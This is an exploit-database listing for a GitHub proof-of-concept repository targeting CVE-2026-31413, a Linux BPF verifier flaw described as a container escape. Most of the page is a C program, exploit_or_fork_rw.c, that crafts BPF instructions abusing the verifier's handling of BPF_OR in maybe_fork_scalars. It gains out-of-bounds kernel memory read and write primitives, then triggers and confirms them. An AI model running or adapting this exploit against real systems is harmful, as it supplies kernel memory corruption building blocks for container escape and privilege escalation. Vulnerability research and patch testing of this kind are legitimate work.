Exploit database

GH-4dfb7376c6c18a050be1603b3f20d96f

rat5ak/cve-2026-31413-bpf-container-escape

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31413

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit_or_fork_rw.c

C · 7,902 bytes
/*
 * exploit_or_fork_rw.c  -  Full OOB read/write primitive via maybe_fork_scalars
 *
 * Bug: maybe_fork_scalars() pushes state with dst=0 skipping OR instruction.
 * For BPF_OR with constant K: 0|K=K, not 0. Verifier thinks r6=0, runtime r6=K.
 *
 * Primitives:
 *   1. OOB READ:  r6=K, r9+=r6, byte=*(u8*)(r9+0) → read at map_value + K
 *   2. OOB WRITE: r6=K, r9+=r6, *(u8*)(r9+0)=val  → write at map_value + K
 */

#include "../bpf_helpers.h"

static char log_buf[LOG_SIZE];

/* =============== OOB READ PRIMITIVE =============== */
static void test_oob_read(int read_offset)
{
    printf("\n=== OOB READ at offset %d ===\n", read_offset);

    /* Small value_size so reading past it is clearly OOB */
    int map_src = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 1);
    int map_dst = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 1);
    if (map_src < 0 || map_dst < 0) { perror("map"); return; }

    uint32_t key = 0;
    uint64_t src_val = 1;  /* positive → ARSH gives 0 */
    uint64_t sentinel = 0xDEADBEEFDEADBEEFULL;
    bpf_update_elem(map_src, &key, &src_val, 0);
    bpf_update_elem(map_dst, &key, &sentinel, 0);

    struct bpf_insn prog[] = {
        /* 0-1 */  BPF_LD_MAP_FD(BPF_REG_1, map_src),
        /* 2 */    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        /* 3 */    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        /* 4 */    BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
        /* 5 */    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        /* 6 */    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 18),
        /* 7 */    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
        /* 8 */    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0),
        /* 9 */    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),
        /* 10 */   BPF_ALU64_IMM(BPF_OR, BPF_REG_6, read_offset),
        /* 11 */   BPF_JMP_IMM(BPF_JSLT, BPF_REG_6, 0, 11),
        /* 12 */   BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6),
        /* 13 */   BPF_LDX_MEM(BPF_B, BPF_REG_7, BPF_REG_9, 0),

        /* 14-15 */ BPF_LD_MAP_FD(BPF_REG_1, map_dst),
        /* 16 */   BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        /* 17 */   BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        /* 18 */   BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        /* 19 */   BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        /* 20 */   BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0),
        /* 21 */   BPF_MOV64_IMM(BPF_REG_0, 0),
        /* 22 */   BPF_JMP_IMM(BPF_JA, 0, 0, 2),
        /* 23 */   BPF_MOV64_IMM(BPF_REG_0, 0),
        /* 24 */   BPF_JMP_IMM(BPF_JA, 0, 0, 0),
        /* 25 */   BPF_EXIT_INSN(),
    };

    int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                                 prog, sizeof(prog) / sizeof(prog[0]),
                                 log_buf, LOG_SIZE, 1);
    if (prog_fd < 0) {
        printf("REJECTED\n");
        print_verifier_log(log_buf, "R6");
        close(map_src); close(map_dst);
        return;
    }
    printf("ACCEPTED\n");

    trigger_bpf_prog(prog_fd);

    uint64_t result = 0;
    bpf_lookup_elem(map_dst, &key, &result);
    printf("  OOB byte at offset %d: 0x%02lx\n", read_offset, result & 0xFF);

    close(prog_fd); close(map_src); close(map_dst);
}

/* =============== OOB WRITE PRIMITIVE =============== */
static void test_oob_write(int write_offset, uint8_t write_val)
{
    printf("\n=== OOB WRITE at offset %d, value 0x%02x ===\n",
           write_offset, write_val);

    int map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 64, 1);
    if (map_fd < 0) { perror("map"); return; }

    /* Fill map with known pattern */
    uint32_t key = 0;
    uint8_t buf[64];
    memset(buf, 0x41, sizeof(buf));
    bpf_update_elem(map_fd, &key, buf, 0);

    /*
     * BPF Program: write controlled byte at OOB offset
     * Same ARSH+OR trick, but STORE instead of LOAD
     *
     * 0-1: LD_MAP_FD r1
     * 2: r2 = r10
     * 3: r2 += -8
     * 4: *(u32*)(r10-8) = 0
     * 5: *(u32*)(r10-4) = write_val  (store write value on stack)
     * 6: call map_lookup_elem
     * 7: if r0 == 0 goto exit         → 18
     * 8: r9 = r0
     * 9: r6 = *(u64*)(r9 + 0)          // load first 8 bytes
     * 10: r6 s>>= 63
     * 11: r6 |= write_offset           // fork: pushed r6=0, current r6=-1
     * 12: if r6 s< 0 goto clean_exit   → 16
     * 13: r9 += r6                     // verifier: +0, runtime: +offset
     * 14: r7 = write_val (load from imm)
     * 15: *(u8*)(r9+0) = r7            // OOB write!
     * 16: r0 = 0
     * 17: exit
     * 18: r0 = 0
     * 19: exit
     */
    struct bpf_insn prog[] = {
        /* 0-1 */  BPF_LD_MAP_FD(BPF_REG_1, map_fd),
        /* 2 */    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        /* 3 */    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        /* 4 */    BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
        /* 5 */    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        /* 6 */    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 12),   /* → 19 */
        /* 7 */    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
        /* 8 */    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0),
        /* 9 */    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),
        /* 10 */   BPF_ALU64_IMM(BPF_OR, BPF_REG_6, write_offset),
        /* 11 */   BPF_JMP_IMM(BPF_JSLT, BPF_REG_6, 0, 5),   /* → 17 */
        /* 12 */   BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6),
        /* 13 */   BPF_MOV64_IMM(BPF_REG_7, write_val),
        /* 14 */   BPF_STX_MEM(BPF_B, BPF_REG_9, BPF_REG_7, 0), /* OOB write! */
        /* 15 */   BPF_MOV64_IMM(BPF_REG_0, 0),
        /* 16 */   BPF_JMP_IMM(BPF_JA, 0, 0, 1),              /* → 18 */
        /* 17 */   BPF_MOV64_IMM(BPF_REG_0, 0),               /* clean exit */
        /* 18 */   BPF_EXIT_INSN(),
        /* 19 */   BPF_MOV64_IMM(BPF_REG_0, 0),               /* null exit */
        /* 20 */   BPF_EXIT_INSN(),
    };

    int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                                 prog, sizeof(prog) / sizeof(prog[0]),
                                 log_buf, LOG_SIZE, 1);
    if (prog_fd < 0) {
        printf("REJECTED\n");
        print_verifier_log(log_buf, NULL);
        close(map_fd);
        return;
    }
    printf("ACCEPTED\n");

    /* Map value must be positive so ARSH gives 0.
     * Fill with known pattern, ensure byte 0-7 form a positive int64. */
    memset(buf, 0x41, sizeof(buf));
    buf[7] = 0x01;  /* Make first u64 = 0x0141414141414141 (positive) */
    bpf_update_elem(map_fd, &key, buf, 0);

    printf("  Before: ");
    uint8_t readback[64];
    bpf_lookup_elem(map_fd, &key, readback);
    for (int i = 0; i < 64; i++) printf("%02x", readback[i]);
    printf("\n");

    trigger_bpf_prog(prog_fd);

    bpf_lookup_elem(map_fd, &key, readback);
    printf("  After:  ");
    for (int i = 0; i < 64; i++) printf("%02x", readback[i]);
    printf("\n");

    if (write_offset < 64 && readback[write_offset] == write_val) {
        printf("  *** OOB WRITE CONFIRMED at offset %d: 0x%02x ***\n",
               write_offset, write_val);
    } else if (write_offset < 64) {
        printf("  Byte at offset %d: 0x%02x (expected 0x%02x)\n",
               write_offset, readback[write_offset], write_val);
    }

    close(prog_fd); close(map_fd);
}

int main(void)
{
    printf("==============================================\n");
    printf("  maybe_fork_scalars BPF_OR OOB Read/Write\n");
    printf("  Kernel: ");
    fflush(stdout);
    system("uname -r");
    printf("==============================================\n");

    /* OOB reads beyond value_size=8 */
    test_oob_read(8);     /* 1st byte past map value */
    test_oob_read(16);
    test_oob_read(32);
    test_oob_read(64);

    /* OOB writes (within our 64-byte map, but at offset verifier thinks is 0) */
    test_oob_write(16, 0xBB);  /* Write 0xBB at offset 16 (verified thinks offset 0) */
    test_oob_write(32, 0xCC);
    test_oob_write(48, 0xDD);

    return 0;
}